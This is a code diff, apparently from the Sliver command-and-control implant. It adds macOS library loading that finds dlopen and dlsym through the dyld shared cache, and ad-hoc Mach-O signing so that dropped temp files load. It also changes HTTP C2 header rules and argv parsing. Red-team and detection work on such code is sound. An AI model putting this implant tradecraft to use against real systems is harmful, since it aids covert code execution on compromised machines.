dirList.Files = []*sliverpb.FileInfo{}
|
||||
rootDirInfo, err := rootDirEntry.Info()
|
||||
if err == nil {
|
||||
// We should not get an error because we created the DirEntry object from the FileInfo object
|
||||
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
|
||||
Name: ".", // Cannot use the name from the FileInfo / DirEntry because that is the name of the directory
|
||||
Size: rootDirInfo.Size(),
|
||||
ModTime: rootDirInfo.ModTime().Unix(),
|
||||
Mode: rootDirInfo.Mode().String(),
|
||||
Uid: getUid(rootDirInfo),
|
||||
Gid: getGid(rootDirInfo),
|
||||
IsDir: rootDirInfo.IsDir(),
|
||||
})
|
||||
}
|
||||
|
||||
for _, dirEntry := range files {
|
||||
//log.Printf("File: %s\n", dirEntry.Name())
|
||||
|
||||
@@ -227,12 +227,9 @@ func getArgvFromPid(pid int) ([]string, error) {
|
||||
errStr := unix.ErrnoName(errno)
|
||||
return []string{""}, fmt.Errorf("%s", errStr)
|
||||
}
|
||||
buffer := bytes.NewBuffer(processArgs)
|
||||
numberOfArgs, err := binary.ReadUvarint(buffer)
|
||||
if err != nil {
|
||||
return []string{""}, err
|
||||
}
|
||||
buffer.Next(3) // skip sizeof(int32), the number of args
|
||||
buffer := bytes.NewBuffer(processArgs[0:size])
|
||||
numberOfArgsBytes := buffer.Next(4)
|
||||
numberOfArgs := binary.LittleEndian.Uint32(numberOfArgsBytes)
|
||||
argv := make([]string, numberOfArgs+1) // executable name is present twice
|
||||
|
||||
// There's probably a way to optimize that loop.
|
||||
@@ -248,7 +245,7 @@ func getArgvFromPid(pid int) ([]string, error) {
|
||||
for {
|
||||
arg, err := buffer.ReadString(0x00)
|
||||
if err != nil {
|
||||
continue
|
||||
break
|
||||
}
|
||||
if strings.ReplaceAll(arg, "\x00", "") != "" {
|
||||
argv[i] = arg
|
||||
|
||||
@@ -238,7 +238,7 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
|
||||
Name string
|
||||
Value string
|
||||
Probability string
|
||||
Methods []string
|
||||
Method string
|
||||
}
|
||||
|
||||
// HTTP C2 Profile headers
|
||||
@@ -248,20 +248,15 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
|
||||
Name: "{{$header.Name}}",
|
||||
Value: "{{$header.Value}}",
|
||||
Probability: "{{$header.Probability}}",
|
||||
Methods: []string{
|
||||
// {{range $method := $header.Methods}}
|
||||
"{{$method}}",
|
||||
// {{end}}
|
||||
},
|
||||
Method: "{{$header.Method}}",
|
||||
},
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
for _, header := range extraHeaders {
|
||||
// Empty array means all methods (backwards compatibility)
|
||||
if len(header.Methods) > 0 {
|
||||
if !contains(header.Methods, method) {
|
||||
continue
|
||||
}
|
||||
|
||||
if len(header.Method) > 0 && header.Method != method {
|
||||
continue
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Rolling to add HTTP header '%s: %s' (%s)", header.Name, header.Value, header.Probability)
|
||||
|
||||
+363
@@ -0,0 +1,363 @@
|
||||
// Copyright 2020 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package codesign provides basic functionalities for
|
||||
// ad-hoc code signing of Mach-O files.
|
||||
//
|
||||
// This is not a general tool for code-signing. It is made
|
||||
// specifically for the Go toolchain. It uses the same
|
||||
// ad-hoc signing algorithm as the Darwin linker.
|
||||
package universal
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"debug/macho"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// Code signature layout.
|
||||
//
|
||||
// The code signature is a block of bytes that contains
|
||||
// a SuperBlob, which contains one or more Blobs. For ad-hoc
|
||||
// signing, a single CodeDirectory Blob suffices.
|
||||
//
|
||||
// A SuperBlob starts with its header (the binary representation
|
||||
// of the SuperBlob struct), followed by a list of (in our case,
|
||||
// one) Blobs (offset and size). A CodeDirectory Blob starts
|
||||
// with its head (the binary representation of CodeDirectory struct),
|
||||
// followed by the identifier (as a C string) and the hashes, at
|
||||
// the corresponding offsets.
|
||||
//
|
||||
// The signature data must be included in the __LINKEDIT segment.
|
||||
// In the Mach-O file header, an LC_CODE_SIGNATURE load command
|
||||
// points to the data.
|
||||
|
||||
const (
|
||||
pageSizeBits = 12
|
||||
pageSize = 1 << pageSizeBits
|
||||
machoHeaderSize64 = 8 * 4 // size of 64-bit Mach-O header
|
||||
)
|
||||
|
||||
const LC_CODE_SIGNATURE = 0x1d
|
||||
|
||||
// Constants and struct layouts are from
|
||||
// https://opensource.apple.com/source/xnu/xnu-4903.270.47/osfmk/kern/cs_blobs.h
|
||||
|
||||
const (
|
||||
CSMAGIC_REQUIREMENT = 0xfade0c00 // single Requirement blob
|
||||
CSMAGIC_REQUIREMENTS = 0xfade0c01 // Requirements vector (internal requirements)
|
||||
CSMAGIC_CODEDIRECTORY = 0xfade0c02 // CodeDirectory blob
|
||||
CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0 // embedded form of signature data
|
||||
CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1 // multi-arch collection of embedded signatures
|
||||
|
||||
CSSLOT_CODEDIRECTORY = 0 // slot index for CodeDirectory
|
||||
)
|
||||
|
||||
const (
|
||||
CS_HASHTYPE_SHA1 = 1
|
||||
CS_HASHTYPE_SHA256 = 2
|
||||
CS_HASHTYPE_SHA256_TRUNCATED = 3
|
||||
CS_HASHTYPE_SHA384 = 4
|
||||
)
|
||||
|
||||
const (
|
||||
CS_EXECSEG_MAIN_BINARY = 0x1 // executable segment denotes main binary
|
||||
CS_EXECSEG_ALLOW_UNSIGNED = 0x10 // allow unsigned pages (for debugging)
|
||||
CS_EXECSEG_DEBUGGER = 0x20 // main binary is debugger
|
||||
CS_EXECSEG_JIT = 0x40 // JIT enabled
|
||||
CS_EXECSEG_SKIP_LV = 0x80 // skip library validation
|
||||
CS_EXECSEG_CAN_LOAD_CDHASH = 0x100 // can bless cdhash for execution
|
||||
CS_EXECSEG_CAN_EXEC_CDHASH = 0x200 // can execute blessed cdhash
|
||||
)
|
||||
|
||||
type Blob struct {
|
||||
typ uint32 // type of entry
|
||||
offset uint32 // offset of entry
|
||||
// data follows
|
||||
}
|
||||
|
||||
func (b *Blob) put(out []byte) []byte {
|
||||
out = put32be(out, b.typ)
|
||||
out = put32be(out, b.offset)
|
||||
return out
|
||||
}
|
||||
|
||||
const blobSize = 2 * 4
|
||||
|
||||
type SuperBlob struct {
|
||||
magic uint32 // magic number
|
||||
length uint32 // total length of SuperBlob
|
||||
count uint32 // number of index entries following
|
||||
// blobs []Blob
|
||||
}
|
||||
|
||||
func (s *SuperBlob) put(out []byte) []byte {
|
||||
out = put32be(out, s.magic)
|
||||
out = put32be(out, s.length)
|
||||
out = put32be(out, s.count)
|
||||
return out
|
||||
}
|
||||
|
||||
const superBlobSize = 3 * 4
|
||||
|
||||
type CodeDirectory struct {
|
||||
magic uint32 // magic number (CSMAGIC_CODEDIRECTORY)
|
||||
length uint32 // total length of CodeDirectory blob
|
||||
version uint32 // compatibility version
|
||||
flags uint32 // setup and mode flags
|
||||
hashOffset uint32 // offset of hash slot element at index zero
|
||||
identOffset uint32 // offset of identifier string
|
||||
nSpecialSlots uint32 // number of special hash slots
|
||||
nCodeSlots uint32 // number of ordinary (code) hash slots
|
||||
codeLimit uint32 // limit to main image signature range
|
||||
hashSize uint8 // size of each hash in bytes
|
||||
hashType uint8 // type of hash (cdHashType* constants)
|
||||
_pad1 uint8 // unused (must be zero)
|
||||
pageSize uint8 // log2(page size in bytes); 0 => infinite
|
||||
_pad2 uint32 // unused (must be zero)
|
||||
scatterOffset uint32
|
||||
teamOffset uint32
|
||||
_pad3 uint32
|
||||
codeLimit64 uint64
|
||||
execSegBase uint64
|
||||
execSegLimit uint64
|
||||
execSegFlags uint64
|
||||
// data follows
|
||||
}
|
||||
|
||||
func (c *CodeDirectory) put(out []byte) []byte {
|
||||
out = put32be(out, c.magic)
|
||||
out = put32be(out, c.length)
|
||||
out = put32be(out, c.version)
|
||||
out = put32be(out, c.flags)
|
||||
out = put32be(out, c.hashOffset)
|
||||
out = put32be(out, c.identOffset)
|
||||
out = put32be(out, c.nSpecialSlots)
|
||||
out = put32be(out, c.nCodeSlots)
|
||||
out = put32be(out, c.codeLimit)
|
||||
out = put8(out, c.hashSize)
|
||||
out = put8(out, c.hashType)
|
||||
out = put8(out, c._pad1)
|
||||
out = put8(out, c.pageSize)
|
||||
out = put32be(out, c._pad2)
|
||||
out = put32be(out, c.scatterOffset)
|
||||
out = put32be(out, c.teamOffset)
|
||||
out = put32be(out, c._pad3)
|
||||
out = put64be(out, c.codeLimit64)
|
||||
out = put64be(out, c.execSegBase)
|
||||
out = put64be(out, c.execSegLimit)
|
||||
out = put64be(out, c.execSegFlags)
|
||||
return out
|
||||
}
|
||||
|
||||
const codeDirectorySize = 13*4 + 4 + 4*8
|
||||
|
||||
// CodeSigCmd is Mach-O LC_CODE_SIGNATURE load command.
|
||||
type CodeSigCmd struct {
|
||||
Cmd uint32 // LC_CODE_SIGNATURE
|
||||
Cmdsize uint32 // sizeof this command (16)
|
||||
Dataoff uint32 // file offset of data in __LINKEDIT segment
|
||||
Datasize uint32 // file size of data in __LINKEDIT segment
|
||||
}
|
||||
|
||||
func FindCodeSigCmd(f *macho.File) (CodeSigCmd, bool) {
|
||||
get32 := f.ByteOrder.Uint32
|
||||
for _, l := range f.Loads {
|
||||
data := l.Raw()
|
||||
cmd := get32(data)
|
||||
if cmd == LC_CODE_SIGNATURE {
|
||||
return CodeSigCmd{
|
||||
cmd,
|
||||
get32(data[4:]),
|
||||
get32(data[8:]),
|
||||
get32(data[12:]),
|
||||
}, true
|
||||
}
|
||||
}
|
||||
return CodeSigCmd{}, false
|
||||
}
|
||||
|
||||
func put32be(b []byte, x uint32) []byte { binary.BigEndian.PutUint32(b, x); return b[4:] }
|
||||
func put64be(b []byte, x uint64) []byte { binary.BigEndian.PutUint64(b, x); return b[8:] }
|
||||
func put8(b []byte, x uint8) []byte { b[0] = x; return b[1:] }
|
||||
func puts(b, s []byte) []byte { n := copy(b, s); return b[n:] }
|
||||
|
||||
// Size computes the size of the code signature.
|
||||
// id is the identifier used for signing (a field in CodeDirectory blob, which
|
||||
// has no significance in ad-hoc signing).
|
||||
func Size(codeSize int64, id string) int64 {
|
||||
nhashes := (codeSize + pageSize - 1) / pageSize
|
||||
idOff := int64(codeDirectorySize)
|
||||
hashOff := idOff + int64(len(id)+1)
|
||||
cdirSz := hashOff + nhashes*sha256.Size
|
||||
return int64(superBlobSize+blobSize) + cdirSz
|
||||
}
|
||||
|
||||
// Sign generates an ad-hoc code signature and writes it to out.
|
||||
// out must have length at least Size(codeSize, id).
|
||||
// data is the file content without the signature, of size codeSize.
|
||||
// textOff and textSize is the file offset and size of the text segment.
|
||||
// isMain is true if this is a main executable.
|
||||
// id is the identifier used for signing (a field in CodeDirectory blob, which
|
||||
// has no significance in ad-hoc signing).
|
||||
func Sign(out []byte, data io.Reader, id string, codeSize, textOff, textSize int64, isMain bool) {
|
||||
nhashes := (codeSize + pageSize - 1) / pageSize
|
||||
idOff := int64(codeDirectorySize)
|
||||
hashOff := idOff + int64(len(id)+1)
|
||||
sz := Size(codeSize, id)
|
||||
|
||||
// emit blob headers
|
||||
sb := SuperBlob{
|
||||
magic: CSMAGIC_EMBEDDED_SIGNATURE,
|
||||
length: uint32(sz),
|
||||
count: 1,
|
||||
}
|
||||
blob := Blob{
|
||||
typ: CSSLOT_CODEDIRECTORY,
|
||||
offset: superBlobSize + blobSize,
|
||||
}
|
||||
cdir := CodeDirectory{
|
||||
magic: CSMAGIC_CODEDIRECTORY,
|
||||
length: uint32(sz) - (superBlobSize + blobSize),
|
||||
version: 0x20400,
|
||||
flags: 0x20002, // adhoc | linkerSigned
|
||||
hashOffset: uint32(hashOff),
|
||||
identOffset: uint32(idOff),
|
||||
nCodeSlots: uint32(nhashes),
|
||||
codeLimit: uint32(codeSize),
|
||||
hashSize: sha256.Size,
|
||||
hashType: CS_HASHTYPE_SHA256,
|
||||
pageSize: uint8(pageSizeBits),
|
||||
execSegBase: uint64(textOff),
|
||||
execSegLimit: uint64(textSize),
|
||||
}
|
||||
if isMain {
|
||||
cdir.execSegFlags = CS_EXECSEG_MAIN_BINARY
|
||||
}
|
||||
|
||||
outp := out
|
||||
outp = sb.put(outp)
|
||||
outp = blob.put(outp)
|
||||
outp = cdir.put(outp)
|
||||
|
||||
// emit the identifier
|
||||
outp = puts(outp, []byte(id+"\000"))
|
||||
|
||||
// emit hashes
|
||||
var buf [pageSize]byte
|
||||
h := sha256.New()
|
||||
p := 0
|
||||
for p < int(codeSize) {
|
||||
n, err := io.ReadFull(data, buf[:])
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err != nil && err != io.ErrUnexpectedEOF {
|
||||
panic(err)
|
||||
}
|
||||
if p+n > int(codeSize) {
|
||||
n = int(codeSize) - p
|
||||
}
|
||||
p += n
|
||||
h.Reset()
|
||||
h.Write(buf[:n])
|
||||
b := h.Sum(nil)
|
||||
outp = puts(outp, b[:])
|
||||
}
|
||||
}
|
||||
|
||||
// machoCodeSign - sign the macho file
|
||||
// This code has been borrowed from https://github.com/golang/go/blob/master/src/cmd/internal/codesign/codesign.go
|
||||
func machoCodeSign(fname string) error {
|
||||
f, err := os.OpenFile(fname, os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
mf, err := macho.NewFile(f)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if mf.Magic != macho.Magic64 {
|
||||
return fmt.Errorf("not 64-bit Mach-O file: %s", fname)
|
||||
}
|
||||
|
||||
// Find existing LC_CODE_SIGNATURE and __LINKEDIT segment
|
||||
var sigOff, sigSz, csCmdOff, linkeditOff int64
|
||||
var linkeditSeg, textSeg *macho.Segment
|
||||
loadOff := int64(machoHeaderSize64)
|
||||
get32 := mf.ByteOrder.Uint32
|
||||
for _, l := range mf.Loads {
|
||||
data := l.Raw()
|
||||
cmd, sz := get32(data), get32(data[4:])
|
||||
if cmd == LC_CODE_SIGNATURE {
|
||||
sigOff = int64(get32(data[8:]))
|
||||
sigSz = int64(get32(data[12:]))
|
||||
csCmdOff = loadOff
|
||||
}
|
||||
if seg, ok := l.(*macho.Segment); ok {
|
||||
switch seg.Name {
|
||||
case "__LINKEDIT":
|
||||
linkeditSeg = seg
|
||||
linkeditOff = loadOff
|
||||
case "__TEXT":
|
||||
textSeg = seg
|
||||
}
|
||||
}
|
||||
loadOff += int64(sz)
|
||||
}
|
||||
|
||||
if sigOff == 0 {
|
||||
// The C linker doesn't generate a signed binary, for some reason.
|
||||
// Skip.
|
||||
return nil
|
||||
}
|
||||
|
||||
fi, err := f.Stat()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if sigOff+sigSz != fi.Size() {
|
||||
// We don't expect anything after the signature (this will invalidate
|
||||
// the signature anyway.)
|
||||
return fmt.Errorf("unexpected content after code signature")
|
||||
}
|
||||
|
||||
sz := Size(sigOff, "a.out")
|
||||
if sz != sigSz {
|
||||
// Update the load command,
|
||||
var tmp [8]byte
|
||||
mf.ByteOrder.PutUint32(tmp[:4], uint32(sz))
|
||||
_, err = f.WriteAt(tmp[:4], csCmdOff+12)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Uodate the __LINKEDIT segment.
|
||||
segSz := sigOff + sz - int64(linkeditSeg.Offset)
|
||||
mf.ByteOrder.PutUint64(tmp[:8], uint64(segSz))
|
||||
_, err = f.WriteAt(tmp[:8], int64(linkeditOff)+int64(unsafe.Offsetof(macho.Segment64{}.Memsz)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.WriteAt(tmp[:8], int64(linkeditOff)+int64(unsafe.Offsetof(macho.Segment64{}.Filesz)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
cs := make([]byte, sz)
|
||||
Sign(cs, f, "a.out", sigOff, int64(textSeg.Offset), int64(textSeg.Filesz), false)
|
||||
_, err = f.WriteAt(cs, sigOff)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = f.Truncate(sigOff + sz)
|
||||
return err
|
||||
}
|
||||
+206
-3
@@ -4,6 +4,7 @@ import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"unsafe"
|
||||
|
||||
"github.com/Binject/debug/macho"
|
||||
@@ -14,10 +15,46 @@ import (
|
||||
|
||||
const MaxUint = ^uint(0)
|
||||
const MaxInt = int(MaxUint >> 1)
|
||||
const LIB_DYLD_PATH = "/usr/lib/system/libdyld.dylib"
|
||||
|
||||
func syscallSharedRegionCheckNp() (uint64, error) {
|
||||
var address uint64
|
||||
r1, _, _ := unix.RawSyscall(unix.SYS_SHARED_REGION_CHECK_NP, uintptr(unsafe.Pointer(&address)), 0, 0)
|
||||
if r1 != 0 {
|
||||
return 0, errors.New("shared region check failed")
|
||||
}
|
||||
return address, nil
|
||||
}
|
||||
|
||||
func isSierra() bool {
|
||||
var utsName unix.Utsname
|
||||
err := unix.Uname(&utsName)
|
||||
if err != nil {
|
||||
return true
|
||||
}
|
||||
if utsName.Release[0] == '1' && utsName.Release[1] < '6' {
|
||||
return false
|
||||
}
|
||||
if utsName.Release[0] == '9' && utsName.Release[1] == '.' {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// LoadLibraryImpl - loads a single library to memory, without trying to check or load required imports
|
||||
func LoadLibraryImpl(name string, image *[]byte) (*Library, error) {
|
||||
|
||||
// On MacOS Sierra and up, NSLinkModule is just a wrapper around
|
||||
// dlopen, pwrite and unlink. There's no "in-memory" only method using
|
||||
// dyld4 APIs, so there's no point in using NSCreateObjectFileImageFromMemory and NSLinkModule anymore.
|
||||
// We can just write our own version that:
|
||||
// - writes the binary image to a temporary file
|
||||
// - calls dlopen on the temporary file
|
||||
// - unlinks the temporary file
|
||||
// - uses dlsym to resolve all the symbols
|
||||
// See https://github.com/apple-oss-distributions/dyld/blob/main/dyld/DyldAPIs.cpp#L2785-L2847 for more details.
|
||||
if isSierra() {
|
||||
return LoadLibraryDlopen(name, image)
|
||||
}
|
||||
// force input image to be a bundle
|
||||
// this is not the most efficient method, but it does create the abililty to do more fixups down the road,
|
||||
// like if we added universal file support
|
||||
@@ -120,6 +157,160 @@ func LoadLibraryImpl(name string, image *[]byte) (*Library, error) {
|
||||
return &lib, nil
|
||||
}
|
||||
|
||||
// LoadLibraryDlopen - loads a single library using dlopen and resolves
|
||||
// all exported symbols using dlsym. This function writes to a temporary
|
||||
// file and then loads the file into memory, and unlinks it.
|
||||
// This is similar to what NSLinkModule does nowadays.
|
||||
func LoadLibraryDlopen(name string, image *[]byte) (*Library, error) {
|
||||
var (
|
||||
dlopenAddr uint64
|
||||
dlSymAddr uint64
|
||||
dyldAddress uint64
|
||||
)
|
||||
|
||||
machoFile, err := macho.NewFile(bytes.NewReader(*image))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// We use the shared library cache to find the libdyld.dylib wrapper loaded into our process.
|
||||
// Once we have the address of the libdyld.dylib wrapper, we can parse it in memory using debug/macho (thanks Awgh)
|
||||
// and find the exports we're interested in: dlopen and dlsym.
|
||||
// This part of the code is a port from the awesome work of usiegl00: https://github.com/usiegl00/metasploit-framework/blob/osx-stage-monterey/external/source/shellcode/osx/stager/main.c#L159-L183
|
||||
sharedRegionStart, err := syscallSharedRegionCheckNp()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dyldCacheheader := (*DyldCacheHeader)(unsafe.Pointer(uintptr(sharedRegionStart)))
|
||||
|
||||
imagesCount := dyldCacheheader.ImagesCountOld
|
||||
if imagesCount == 0 {
|
||||
imagesCount = dyldCacheheader.ImagesCount
|
||||
}
|
||||
imagesOffset := dyldCacheheader.ImagesOffsetOld
|
||||
if imagesOffset == 0 {
|
||||
imagesOffset = dyldCacheheader.ImagesOffset
|
||||
}
|
||||
sharedFileMapping := (*SharedFileMapping)(unsafe.Pointer(uintptr(sharedRegionStart + uint64(dyldCacheheader.MappingOffset))))
|
||||
|
||||
dyldCacheImageInfo := (*DyldCacheImageInfo)(unsafe.Pointer(uintptr(sharedRegionStart + uint64(imagesOffset))))
|
||||
for i := uint32(0); i < imagesCount; i++ {
|
||||
pathFileOffset := sharedRegionStart + uint64(dyldCacheImageInfo.PathFileOffset)
|
||||
dylibPath := readCString(pathFileOffset)
|
||||
if dylibPath == LIB_DYLD_PATH {
|
||||
dyldAddress = dyldCacheImageInfo.Address
|
||||
break
|
||||
}
|
||||
dyldCacheImageInfo = (*DyldCacheImageInfo)(unsafe.Pointer(uintptr(sharedRegionStart+uint64(imagesOffset)) + uintptr(i)*unsafe.Sizeof(DyldCacheImageInfo{})))
|
||||
}
|
||||
|
||||
offset := sharedRegionStart - sharedFileMapping.Address
|
||||
dyldAddress += offset
|
||||
|
||||
rawr := rawreader.New(uintptr(dyldAddress), MaxInt)
|
||||
dyldFile, err := macho.NewFileFromMemory(rawr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
exports := dyldFile.Exports()
|
||||
|
||||
for _, export := range exports {
|
||||
if export.Name == "_dlopen" {
|
||||
dlopenAddr = export.VirtualAddress + offset
|
||||
}
|
||||
if export.Name == "_dlsym" {
|
||||
dlSymAddr = export.VirtualAddress + offset
|
||||
}
|
||||
}
|
||||
dlopenProc := uintptr(dlopenAddr)
|
||||
dlSymProc := uintptr(dlSymAddr)
|
||||
|
||||
options := 0x80000080 // RTLD_UNLOADABLE | RTLD_NODELETE per https://github.dev/apple-oss-distributions/dyld/blob/419f8cbca6fb3420a248f158714a9d322af2aa5a/dyld/DyldAPIs.cpp#L2818-L2819
|
||||
|
||||
// Create a temp file to write the image to so we can dlopen it.
|
||||
// I wish MacOS had a memfd_create equivalent ...
|
||||
tmpFile, err := ioutil.TempFile("", "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
filename := tmpFile.Name()
|
||||
imagePath := append([]byte(filename), 0x00) // C strings are the worst
|
||||
|
||||
_, err = tmpFile.Write(*image)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// We need to sign the written file otherwise dlopen will fail on MacOS 11 and up on Apple Silicon machines.
|
||||
// We're just using ad-hoc code signing, so we're not going to do anything fancy here.
|
||||
err = machoCodeSign(filename)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
pseudoHandle, err := cdecl.Call(dlopenProc,
|
||||
uintptr(unsafe.Pointer(&imagePath[0])), // image name
|
||||
uintptr(options)) // image options flags
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if pseudoHandle == 0 {
|
||||
unix.Unlink(filename)
|
||||
return nil, errors.New("dlopen returned 0")
|
||||
}
|
||||
|
||||
// Unlink the temp file, we don't need it anymore
|
||||
err = unix.Unlink(tmpFile.Name())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
exports = machoFile.Exports()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
lib := Library{
|
||||
BaseAddress: pseudoHandle, // library pseudo handle, do not use directly
|
||||
Exports: make(map[string]uint64),
|
||||
}
|
||||
|
||||
// Since the return value from dlopen is a pseudo handle
|
||||
// and not the address of the dylib in memory, we can't
|
||||
// really use it to resolve symbols directly. Instead, we
|
||||
// use dlsym to resolve all symbols ahead of time, that way
|
||||
// the end user can just use Library.Call.
|
||||
// The downside is that Library.BaseAddress is unusable and
|
||||
// any attempt to use it will result in a crash.
|
||||
for _, x := range exports {
|
||||
exportName := append([]byte(x.Name[1:]), 0x00) // strip the _
|
||||
exportPtr, err := cdecl.Call(dlSymProc,
|
||||
pseudoHandle,
|
||||
uintptr(unsafe.Pointer(&exportName[0])))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
lib.Exports[x.Name] = uint64(exportPtr)
|
||||
}
|
||||
return &lib, nil
|
||||
}
|
||||
|
||||
func readCString(pathFileOffset uint64) string {
|
||||
path := ""
|
||||
pathSize := 0
|
||||
for {
|
||||
b := (*byte)(unsafe.Pointer(uintptr(pathFileOffset + uint64(pathSize))))
|
||||
if *b == 0 {
|
||||
break
|
||||
}
|
||||
path += string(*b)
|
||||
pathSize++
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func isPtrValid(p uintptr) bool {
|
||||
r1, _, err := unix.RawSyscall(unix.SYS_CHMOD, p, 0777, 0)
|
||||
if r1 != 0 && err != 2 {
|
||||
@@ -174,12 +365,24 @@ func findMachoPtr(addr uintptr) (uintptr, error) {
|
||||
|
||||
// Call - call a function in a loaded library
|
||||
func (l *Library) Call(functionName string, args ...uintptr) (uintptr, error) {
|
||||
|
||||
var (
|
||||
proc uintptr
|
||||
funcPtr uint64
|
||||
ok bool
|
||||
)
|
||||
if len(functionName) > 0 && functionName[0] != '_' {
|
||||
functionName = "_" + functionName
|
||||
} // OSX has underscore-prefixed exports
|
||||
|
||||
proc, ok := l.FindProc(functionName)
|
||||
if !isSierra() {
|
||||
proc, ok = l.FindProc(functionName)
|
||||
} else {
|
||||
// Can't rely on FindProc for Sierra and up since
|
||||
// the BaseAddress is a pseudo handle to the lib,
|
||||
// not the actual address.
|
||||
funcPtr, ok = l.Exports[functionName]
|
||||
proc = uintptr(funcPtr)
|
||||
}
|
||||
if !ok {
|
||||
return 0, errors.New("Call did not find export " + functionName)
|
||||
}
|
||||
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
package universal
|
||||
|
||||
type DyldCacheHeader struct {
|
||||
Magic [16]byte
|
||||
MappingOffset uint32
|
||||
MappingCount uint32
|
||||
ImagesOffsetOld uint32
|
||||
ImagesCountOld uint32
|
||||
DyldBaseAddress uint64
|
||||
CodeSignatureOffset uint64
|
||||
CodeSignatureSize uint64
|
||||
SlideInfoOffsetUnused uint64
|
||||
SlideInfoSizeUnused uint64
|
||||
LocalSymbolsOffset uint64
|
||||
LocalSymbolsSize uint64
|
||||
UUID [16]byte
|
||||
CacheType uint64
|
||||
BranchPoolOffset uint32
|
||||
BranchPoolCount uint32
|
||||
AccelerateInfoAddr uint64
|
||||
AccelerateInfoSize uint64
|
||||
ImagesTextOffset uint64
|
||||
ImagesTextCount uint64
|
||||
PatchInfoAddr uint64
|
||||
PatchInfoSize uint64
|
||||
OtherImageGroupAddrUnused uint64
|
||||
OtherImageGroupSizeUnused uint64
|
||||
ProgClosuresAddr uint64
|
||||
ProgClosuresSize uint64
|
||||
ProgClosuresTrieAddr uint64
|
||||
ProgClosuresTrieSize uint64
|
||||
Platform uint32
|
||||
FormatVersion uint32
|
||||
SharedRegionStart uint64
|
||||
SharedRegionSize uint64
|
||||
MaxSlide uint64
|
||||
DylibsImageArrayAddr uint64
|
||||
DylibsImageArraySize uint64
|
||||
DylibsTrieAddr uint64
|
||||
DylibsTrieSize uint64
|
||||
OtherImageArrayAddr uint64
|
||||
OtherImageArraySize uint64
|
||||
OtherTrieAddr uint64
|
||||
OtherTrieSize uint64
|
||||
MappingWithSlideOffset uint32
|
||||
MappingWithSlideCount uint32
|
||||
DylibsPBLStateArrayAddrUnused uint64
|
||||
DylibsPBLSetAddr uint64
|
||||
ProgramsPBLSetPoolAddr uint64
|
||||
ProgramsPBLSetPoolSize uint64
|
||||
ProgramTrieAddr uint64
|
||||
ProgramTrieSize uint32
|
||||
OsVersion uint32
|
||||
AltPlatform uint32
|
||||
AltOsVersion uint32
|
||||
SwiftOptsOffset uint64
|
||||
SwiftOptsSize uint64
|
||||
SubCacheArrayOffset uint32
|
||||
SubCacheArrayCount uint32
|
||||
SymbolFileUUID [16]byte
|
||||
RosettaReadOnlyAddr uint64
|
||||
RosettaReadOnlySize uint64
|
||||
RosettaReadWriteAddr uint64
|
||||
RosettaReadWriteSize uint64
|
||||
ImagesOffset uint32
|
||||
ImagesCount uint32
|
||||
}
|
||||
|
||||
type DyldCacheMappingInfo struct {
|
||||
Address uint64
|
||||
Size uint64
|
||||
FileOffset uint64
|
||||
MaxProt uint32
|
||||
InitProt uint32
|
||||
}
|
||||
|
||||
type DyldCacheImageInfo struct {
|
||||
Address uint64
|
||||
ModTime uint64
|
||||
Inode uint64
|
||||
PathFileOffset uint32
|
||||
Pad uint32
|
||||
}
|
||||
|
||||
type SharedFileMapping struct {
|
||||
Address uint64
|
||||
Size uint64
|
||||
FileOffset uint64
|
||||
MaxProt uint32
|
||||
InitProt uint32
|
||||
}
|
||||
+88
-24
@@ -1,8 +1,10 @@
|
||||
package assert
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"reflect"
|
||||
"time"
|
||||
)
|
||||
|
||||
type CompareType int
|
||||
@@ -30,6 +32,9 @@ var (
|
||||
float64Type = reflect.TypeOf(float64(1))
|
||||
|
||||
stringType = reflect.TypeOf("")
|
||||
|
||||
timeType = reflect.TypeOf(time.Time{})
|
||||
bytesType = reflect.TypeOf([]byte{})
|
||||
)
|
||||
|
||||
func compare(obj1, obj2 interface{}, kind reflect.Kind) (CompareType, bool) {
|
||||
@@ -299,6 +304,47 @@ func compare(obj1, obj2 interface{}, kind reflect.Kind) (CompareType, bool) {
|
||||
return compareLess, true
|
||||
}
|
||||
}
|
||||
// Check for known struct types we can check for compare results.
|
||||
case reflect.Struct:
|
||||
{
|
||||
